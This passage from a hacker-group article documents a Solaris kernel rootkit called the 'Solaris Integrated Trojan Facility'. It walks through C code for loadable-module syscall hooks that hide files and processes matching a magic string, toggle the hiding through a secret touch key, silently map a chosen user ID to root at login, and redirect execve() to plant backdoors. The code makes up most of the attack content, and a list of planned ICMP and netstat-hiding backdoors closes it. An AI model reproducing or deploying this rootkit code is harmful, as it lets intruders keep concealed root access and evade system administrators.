- content. But how can you easily switch between the total security and a
- work-environment where files are hidden but you can access and manipulate
- them, e.g. configuration files, read on.</blockquote>
- <font size=+1>5.3 Generating a remote switch</font>
- <blockquote>While investigating some of the most used command line programs,
- I stumbeld over <tt>/usr/bin/touch</tt>, touch uses the syscall <tt>creat64()</tt>.
- I found this to be a good place to include a remote switch, for toggling
- features of a module On or Off, e.g. the security flag above in 5.2. Of
- cause this is not a real secure switch because an administrator could monitor
- you activities and will discover you suspicious touch calls.
- <br>First of all we need to define a key that will help us being the only
- person toggling our switch.
- <blockquote><tt>#define KEY "mykey"</tt>
- <br><tt>char key[] = KEY;</tt>
- <p>[...]
- <p><tt>int newcreat64(const char *path, mode_t mode)</tt>
- <br><tt>{</tt>
- <br><tt> char namebuf[1028];</tt>
- <br><tt> int len;</tt><tt></tt>
- <p><tt> copyinstr(path, namebuf, 1028, (size_t *) &
- len);</tt><tt></tt>
- <p><tt> if (strstr(namebuf, (char *) &key) != NULL)
- {</tt>
- <br><tt> if (security) {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt>
- cmn_err(CE_NOTE, "sitf: disabeling security");</tt>
- <br><tt>#endif</tt>
- <br><tt>
- security = FALSE;</tt>
- <br><tt> } else {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt>
- cmn_err(CE_NOTE, "sitf: enabeling security");</tt>
- <br><tt>#endif</tt>
- <br><tt>
- security = TRUE;</tt>
- <br><tt> }</tt>
- <br><tt> set_errno(ENFILE);</tt>
- <br><tt> return -1;</tt>
- <br><tt> } else</tt>
- <br><tt> return oldcreat64(path,
- mode);</tt>
- <br><tt>}</tt></blockquote>
- When the touch command is used the syscall <tt>creat64()</tt> will be called.
- Our faked syscall will check if the filename includes our key and then
- en- or disable the security flag. In order to tell us if this suceed it
- will return the error (<tt>ENFILE, </tt>The system file table is full).
- I hope this is a rather seldom error message.</blockquote>
- <font size=+1>5.4 Hiding processes (proc file system approach)</font>
- <blockquote>Before I concentrated on the structured proc of Solaris, I
- developed a basic way to hide files from being listed. This code should
- only function as an example because it may consume a lot cpu power.
- <br>When a user executes <tt>ps</tt> or <tt>top</tt> these tools will read
- parts of the proc file systems and return their content. The file that
- halts information about the process caller and the executed file is <tt>psinfo</tt>
- found inf <tt>/proc/<pid>/psinfo</tt>. The content of this file is described
- in <tt>/usr/include/sys/procfs.h</tt>.
- <blockquote><tt>typedef struct psinfo {</tt>
- <br><tt> int
- pr_flag; /* process flags */</tt>
- <br><tt> int
- pr_nlwp; /* number of lwps in
- process */</tt>
- <br><tt> pid_t pr_pid;
- /* unique process id */</tt>
- <br><tt> pid_t pr_ppid;
- /* process id of parent */</tt>
- <br><tt> pid_t pr_pgid;
- /* pid of process group leader */</tt>
- <br><tt> pid_t pr_sid;
- /* session id */</tt>
- <br><tt> uid_t pr_uid;
- /* real user id */</tt>
- <p> [...]
- <p><tt> char
- pr_psargs[PRARGSZ]; /* initial characters of arg
- list */</tt>
- <br><tt> int
- pr_wstat; /* if zombie, the wait()
- status */</tt>
- <br><tt> int
- pr_argc; /* initial argument
- count */</tt>
- <br><tt> uintptr_t pr_argv;
- /* address of initial argument vector */</tt>
- <br><tt> uintptr_t pr_envp;
- /* address of initial environment vector */</tt>
- <br><tt> char
- pr_dmodel; /* data model of the process */</tt>
- <br><tt> char
- pr_pad2[3];</tt>
- <br><tt> int
- pr_filler[7]; /* reserved for future use */</tt>
- <br><tt> lwpsinfo_t pr_lwp;
- /* information for representative lwp */</tt>
- <br><tt>} psinfo_t;</tt>
- <br> </blockquote>
- It's always the size of the<tt> psinfo_t</tt> struct. The member <tt>psargs</tt>
- includes the executed filename and the following arguments. Whenever a
- file named <tt>psinfo</tt> is opened a faked <tt>open()</tt> syscall will
- set a special flag, signaling that one of the next <tt>read()</tt> calls
- will read this file. Note that inside the /proc file system Solaris uses
- the <tt>open()</tt> syscall instead of the <tt>open64()</tt> syscall.
- <blockquote><tt>#define MAGIC "CHT.THC"</tt>
- <br><tt>char magic[] = MAGIC;</tt>
- <br><tt>char psinfo[] = "psinfo";</tt>
- <br><tt>int psfildes = FALSE;</tt>
- <p>[...]
- <p><tt>int newopen(const char *path, int oflag, mode_t mode)</tt>
- <br><tt>{</tt>
- <br><tt> int ret; </tt>
- <p><tt> ret = oldopen(path, oflag, mode);</tt>
- <br><tt> if (strstr(path, (char *) &psinfo) != NULL)
- {</tt>
- <br><tt> psfildes = ret;</tt>
- <br><tt> } else</tt>
- <br><tt> psfildes = FALSE;</tt>
- <p><tt> return ret;</tt>
- <br><tt>}</tt></blockquote>
- A redirected <tt>read()</tt> function will look into the file if it has
- the size of a <tt>psinfo</tt> file and the <tt>open64()</tt> call has set
- the <tt>psfildes</tt> flag to the specific file descriptor. The<tt> read()</tt>
- syscall will then copy the content of the file to a <tt>psinfo_t</tt> struct
- and compare the executed file with the magic string. This is done by investigating
- <tt>psinfo_t->pr_psargs</tt>.
- If the magic string is found it will return an error and this proc entry
- won't be displayed in a process listing.
- <blockquote><tt>ssize_t</tt>
- <br><tt>newread(int fildes, void *buf, size_t nbyte)</tt>
- <br><tt>{</tt>
- <br><tt> ssize_t ret;</tt>
- <br><tt> psinfo_t *info;</tt>
- <p><tt> ret = oldread(fildes, buf, nbyte);</tt>
- <br><tt> if (fildes > 0 && fildes == psfildes
- && nbyte == sizeof(psinfo_t)) { </tt>
- <br><tt> info = (psinfo_t *)
- kmem_alloc(sizeof(psinfo_t), KM_SLEEP);</tt>
- <br><tt> copyin(buf, (void *)
- info, sizeof(psinfo_t));</tt>
- <p><tt> if (strstr(info->pr_psargs,
- (char *) &magic) != NULL) {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt>
- cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);</tt>
- <br><tt>#endif</tt>
- <br><tt>
- kmem_free(info, sizeof(psinfo_t));</tt>
- <br><tt>
- set_errno(ENOENT);</tt>
- <br><tt>
- return -1;</tt>
- <br><tt> } else</tt>
- <br><tt>
- kmem_free(info, sizeof(psinfo_t));</tt>
- <br><tt> }</tt>
- <br><tt> return ret;</tt>
- <br><tt>}</tt></blockquote>
- You see that this is really not a proper way to hide processes from being
- listed because a lot cpu power will be wasted by the <tt>open64()</tt>
- and the <tt>read()</tt> call due to the fact that they got called very
- often on any system. A really fast method can be found in 5.6 Hiding processes
- (structured proc approach), just read on.</blockquote>
- <font size=+1>---> Module: sitf0.1.c </font>
- <blockquote>The module sitf0.1.c (Solaris Integrated Trojan Facility) demonstrates
- all topics described above, it is configured by setting the following variables:
- <ol><tt>#define MAGIC "CHT.THC"</tt>
- <br><tt>#define KEY "mykey"</tt>
- <br><tt>#define UID 1001</tt></ol>
- If a file or a process includes the string <tt>MAGIC</tt>, it will not
- be listed by any tool. Directories or file content of files containing
- this string will also be unaccessiable if the security flag is set. You
- can toggle the security flag by using the touch command, <tt>KEY</tt> is
- the argument for touch.
- <blockquote><tt>$ touch mykey</tt></blockquote>
- The UID specifies the user id that should automatically be mapped to root
- if a user logs on.You can monitor all activities via syslogd if you compiled
- the module with the <tt>DEBUG</tt> defintion.</blockquote>
- <font size=+1>5.5 Redirecting an execve() call</font>
- <blockquote>Redirecting the execve() call was really a challange on Solaric
- (Sparc), because the kernel really "cares" about a proper user- and kernel
- memory transfer. The following code does not allocate user memory, it simply
- overwrites the defined buffer with the new command to execute, eventhough
- I have tested this call a thousand times and nothing bad happened, I advice
- you to read the next version of this article, that will feature some
- techniques
- to allocate user memory properly.
- <blockquote><tt>#define OLDCMD "/bin/who"</tt>
- <br><tt>#define NEWCMD "/usr/openwin/bin/xview/xcalc"</tt>
- <br><tt>char oldcmd[] = OLDCMD;</tt>
- <br><tt>char newcmd[] = NEWCMD;</tt>
- <p>[...]
- <p><tt>int newexecve(const char *filename, const char *argv[], const char
- *envp[])</tt>
- <br><tt>{</tt>
- <br><tt> int ret;</tt>
- <br><tt> char *name;</tt>
- <br><tt> unsigned long addr; </tt>
- <p><tt> name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
- <br><tt> copyin(filename, name, 256);</tt>
- <br><tt> if (!strcmp(name, (char *) oldcmd)) {</tt>
- <br><tt> copyout((char *) newcmd,
- (char *) filename, strlen(newcmd) + 1);</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt> cmn_err(CE_NOTE,"sitf:
- executing %s instead of %s", newcmd, name);</tt>
- <br><tt>#endif</tt>
- <br><tt> }</tt>
- <br><tt> kmem_free(name, 256); </tt>
- <br><tt> return oldexecve(filename, argv, envp);</tt>
- <br><tt>}</tt></blockquote>
- </blockquote>
- <font size=+1>5.6 Hiding processes (structured proc approach)</font>
- <blockquote>This is a proper approach for hiding processes from being listed.
- Take a look at the header file <tt>/usr/include/sys/proc.h</tt>, you will
- find inside the large <tt>proc_t</tt> struct a member that is called <tt>struct
- user p_user</tt>. Every process owns such a <tt>proc_t </tt>struct. Solaris
- generates the files inside the /proc directory from these <tt>proc_t</tt>
- entries and their corresponding values. If you look into the definition
- of the <tt>user</tt> struct in <tt>/usr/include/sys/user.h</tt>, you will
- find what I was looking for the last weeks:
- <ol><tt>typedef struct user {</tt>
- <p>[...]
- <br><tt> /*</tt>
- <br><tt> * Executable file
- info.</tt>
- <br><tt> */</tt>
- <br><tt> struct exdata
- u_exdata;</tt>
- <br><tt> auxv_t u_auxv[__KERN_NAUXV_IMPL];
- /* aux vector from exec */</tt>
- <br><tt> char
- u_psargs[PSARGSZ]; /* arguments from exec
- */</tt>
- <br><tt> char
- u_comm[MAXCOMLEN + 1];</tt>
- <p>[...]</ol>
- The member <tt>u_psargs</tt> carries the executed filename of a process
- and its arguments, this is a good place to check if we should hide the
- process. There is a little macro defintion in proc.h that helps us getting
- the <tt>p_user</tt> entry from <tt>proc_t</tt>:
- <ol><tt>/* Macro to convert proc pointer to a user block pointer */</tt>
- <br><tt>#define PTOU(p)
- (&(p)->p_user)</tt></ol>
- Now we can determine the exectued filename of every process if we know
- where the <tt>proc_t</tt> struct is. Another nice funtions helps us finding
- the <tt>proc_t</tt> struct from a corresponding <tt>pid:</tt> <tt>proc_t
- *prfind(pid_t). </tt>A tool listing process accesses the /proc directory
- that stores the processes sorted by their <tt>pids</tt>. I included a small
- check into the <tt>getdents64()</tt> fake syscall from above, so the function
- <tt>check_for_process()
- </tt>gets
- called.
- <blockquote>[...]
- <p> <tt>while (i > 0) {</tt>
- <br><tt>
- reclen = buf3->d_reclen;</tt>
- <br><tt>
- i -= reclen;</tt>
- <p><tt>
- if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL)
- ||</tt>
- <br><tt>
- check_for_process((char *) &(buf3->d_name))) {</tt>
- <br><tt>#ifdef DEBUG</tt>
- <br><tt>
- cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3->d_name);</tt>
- <br><tt>#endif</tt>
- <br><tt>
- if (i != 0)</tt>
- <br><tt>
- memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
- <br><tt>
- else</tt>
- <br><tt>
- buf3->d_off = 1024;</tt>
- <br><tt>
- ret -= reclen;</tt>
- <br><tt>
- }</tt>
- <p>[...]</blockquote>
- Now let's take a look at the <tt>check_for_process()</tt> function. In
- the following code I use a small function called <tt>sitf_isdigit()</tt>
- and <tt>sitf_atoi()</tt>, you should easily guess what these function do.
- In this content it tells us if the file is maybe inside the proc and represents
- a pid. The <tt>check_process()</tt> call implements the mechanism described
- above:
- <br>
- <blockquote><tt>int check_for_process(char *filename)</tt>
- <br><tt>{</tt>
- <br><tt> if (sitf_isdigit(filename) && check_process(sitf_atoi(filename)))</tt>
- <br><tt> return TRUE;</tt>
- <br><tt> else</tt>
- <br><tt> return FALSE;</tt>
- <br><tt>}</tt>
- <p><tt>int check_process(pid_t pid)</tt>
- <br><tt>{</tt>
- <br><tt> proc_t *proc;</tt>
- <br><tt> char *psargs;</tt>
- <br><tt> int ret;</tt>
- <p><tt> proc = (proc_t *) prfind(pid);</tt>
- <br><tt> psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP); </tt>
- <br><tt> if (proc != NULL)</tt>
- <br><tt> /*</tt>
- <br><tt> * PTOU(proc)->u_psargs
- is inside the kernel memory, no special</tt>
- <br><tt> * copy methods
- are needed.</tt>
- <br><tt> */ </tt>
- <br><tt> memcpy(psargs, PTOU(proc)->u_psargs,
- PSARGSZ);</tt>
- <br><tt> else </tt>
- <br><tt> return FALSE;</tt>
- <p><tt> if (strstr(psargs, (char *) &magic) != NULL)</tt>
- <br><tt> ret = TRUE;</tt>
- <br><tt> else </tt>
- <br><tt> ret = FALSE;</tt>
- <br><tt> kmem_free(psargs, PSARGSZ);</tt>
- <br><tt> return ret;</tt>
- <br><tt>}</tt></blockquote>
- </blockquote>
- <font size=+1>---> Module: sitf0.2.c</font>
- <blockquote>The sitf0.2.c (Solaris Integrated Trojan Facility) implements
- the features described in 5.5 and 5.6, it is configured as the sitf0.1
- module and includes the following 2 defintions:
- <blockquote><tt>#define OLDCMD "/bin/who"</tt>
- <br><tt>#define NEWCMD "/usr/openwin/bin/xview/xcalc"</tt></blockquote>
- If the file <tt>OLDCMD</tt> is executed the <tt>NEWCMD</tt> will be executed
- instead, this is a usefull feature for placing backdoors in hidden directories. </blockquote>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>6 Future plans</font>
- <ul>If you read the article carefully, you may have found a lot of things
- to be fixed in future releases, here is a brief summary of my ideas and
- plans for the next version - including fixes and improvements:
- <ul>- Proper implementation of allocating user memory
- <br>- Bugfree version of the <tt>getdents64()</tt> file hiding mechanism
- allowing files to contain the magic word more than once.
- <br>- Proper hiding of the module by backdooring the ksyms module
- <br>- ICMP backdoor executing programs realized backdooring the icmp module
- <br>- Hiding connections from netstat
- <br>- UDP based telnet access via the udp module (damn, this is hard stuff.
- Idea by Escher)
- <br>- A module version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86)</ul>
- As a result of this article I also plan to write a security module for
- Solairs 2.7 (Sparc/x86) including the following features:
- <ul>- Protected module loading and unloading
- <br>- Limited process listings for users
- <br>- Symlink checks in writable directories
- <br>- Kernel based packet sniffing
- <br>- Exploited overflow notification</ul>
- </ul>
- <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
- <br>
- <p><font size=+1>7 Closing words</font>
- <blockquote>I thank the following people that helped creating this article:
- <blockquote>- Wilkins ... for all his help, betatesting and ideas
- <br>- Pragmatic ... for his articles and support at the CCCamp
- <br>- Acpizer ... for all his knowledge and help with the modules
- <br>- Escher ... for his Solaris 2.5 support and corrections
- <br>- Horizon ... for his Ultra Sparc port and his help
- <br>- Knie ... godfather of OpenBSD
- <br>- Plaguez ... for his great itf.c Linux module (written in '97)
- <br>- Ekonroth from the church of shambler ... for mental support
- <br>- All people in my favorite IRC channel</blockquote>
- I would also like to thank my girlfriend who spent a lot of time with me
- talking about Solaris' kernel-architecture.
- <p>If you have ideas, critisism or further questions, please contact me
- at <a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>. I am thankful
- for improving suggestions. Just don't forget this article is not designed
- for script kiddies, intrusion is illegal and I don't have the ambition
- to help you hacking into some lame provider systems.
- <br>If you read this far, you might also be interested in one of the other
- THC articles or magazines at <a href="http://www.thc.org">http://www.thc.org/</a>.</blockquote>
- <blockquote>have fun,
- <br>Plasmoid / THC
- <br>
- <br>
- <blockquote> </blockquote>
- </blockquote>
- </td>
- </tr>
- </table></center>
- </body>
- </html>
|